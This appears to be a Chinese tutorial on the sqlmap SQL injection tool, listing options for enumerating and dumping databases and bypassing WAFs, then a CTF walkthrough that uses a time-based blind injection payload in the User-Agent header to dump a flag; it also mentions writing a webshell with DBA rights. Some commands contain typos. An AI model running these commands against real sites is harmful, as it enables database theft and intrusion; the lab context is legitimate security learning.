1.简介
SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。
这里主要分为四大部分目标
、脱库
、账号
与其它,
分类和一些命令如下:
2.具体操作介绍
sqlmap是一款自动化的sql注入工具,下面我用的是kali自带的sqlmap工具
首先需要打开虚拟机终端,输入命令sqlmap,如果出现以下界面就说明工具可以使用
一般情况下基本的注入步骤如下:
1)检测注入点
sqlmap -u 'http://xx/?id=1'
2)查看全部数据库
sqlmap -u 'http//xx/?id=1' --dbs
3)查看当前数据库
sqlmap -u 'http//xx/?id=1' current -db
4)查看数据库
sqlmap -u 'http//xx/?id=1' -D 'security' --tables
5)查看字段
sqlmap -u 'http//xx/?id=1' -D 'security' -T 'users' --tables
6)查看数据
sqlmap -u 'http//xx/?id=1' -D 'security' -T 'users' --dump
一些常用命令如下:
--is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒
--threads= 使用多少线程
注:--is-dba
这个命令有时候决定了你是否可以在服务器下进行写的操作,这个很重要,是否有写的权限,代表你是否可以在服务器上面写入一句话木马
3.目标
-d DIRECT 直接连接数据库的连接字符串-u URL, –url=URL 目标URL (e.g.”http://www.site.com/mzxf.php?id=1“),使用-u或者–url-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标-x SITEMAPURL 从远程网站地图(sitemap.xml)文件来解析目标-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个–force-ssl参数来使用,或者可以在Host头后门加上:443-g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)-c CONFIGFILE 从配置ini文件中加载选项
1、指定url
-u +
指定需要检测的url,用单/双引号包裹。 中间如果有提示,就输入y。
提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。
2、指定文件(批量检测)
准备一个「文件」,写上需要检测的多个url,一行一个。
-m
指定文件,可以「批量扫描」文件中的url。
<span style="color:#000000"><span style="background-color:#fafafa"><code class="language-bash">sqlmap -m urls.txt</code></span></span>
3、指定数据库/表/字段
-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。
-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
4、post请求
检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。
-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。
sqlmap -r bp.txt
5、cookie注入
--cookie 指定cookie的值,单/双引号包裹。
sqlmap -u "http://xx?id=x" --cookie 'cookie'
4.脱库
1、获取当前数据库版本
python sqlmap.py -u 目标URL -b
2、获取当前数据库名称
python sqlmap.py -u 目标URL --current-db
3、列出所有数据库
python sqlmap.py -u 目标URL --dbs
4、列出指定数据库的所有表
python sqlmap.py -u 目标URL -D 数据库名称 --tables
5、获取表中所有数据
python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump
6、搜索库、表、字段
python sqlmap.py -u 目标URL --search
7、绕过WAF
python sqlmap.pu -u 目标URL --tamper
5,其他
--batch (默认确认)不再询问是否确认。
--method=GET 指定请求方式(GET/POST)
--random-agent 随机切换UA(User-Agent)
--user-agent ' ' 使用自定义的UA(User-Agent)
--referer ' ' 使用自定义的 referer
--proxy="127.0.0.1:8080" 指定代理
--threads 10 设置线程数,最高10
--level=1 执行测试的等级(1-5,默认为1,常用3)
--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
写了那么多操作命令,没记清几个,还是不如直接来实操!!!!!
6.实操
1.这里还是用考核的题目来作为例子吧
2.进入环境
3.找不到任何注入的点,用dirsearch扫扫看
4.扫出来一个login.php,直接进去
5.输入弱口令admin,12345抓包,然后把它保存成txt文件,放进kali中
6.接着打开sqlmap爆它的注入类型
sqlmap -r '/home/kali2024/Desktop/sql.txt' --level 3
7.爆破数据显示它为时间盲注,然后开始爆它所有的数据库
sqlmap -r '/home/kali2024/Desktop/sql.txt' --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --dbs
8.爆出所有数据库为
] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
然后爆它当前的数据库
sqlmap -r '/home/kali2024/Desktop/sql.txt' --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --current-db
当前数据库为 challenges
9.接着爆表
sqlmap -r '/home/kali2024/Desktop/sql.txt' --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges --tables
10.得到两张表,一张张找出来在第一张里面
[2 tables]
+-------------+
| user_agents |
| users |
+-------------+
然后开始爆字段
sqlmap -r '/home/kali2024/Desktop/sql.txt' --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents --columns
爆出字段为
+------------+-------------+
| Column | Type |
+------------+-------------+
| id | int(3) |
| user_agent | varchar(40) |
+------------+-------------+
11.猜测这里长度为40的为flag,直接报字段内容得到flag
sqlmap -r '/home/kali2024/Desktop/sql.txt' --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents -C user_agent --dump
成功爆出flag
flag{8faf525dc3c4c7c43a9c163a57904c35}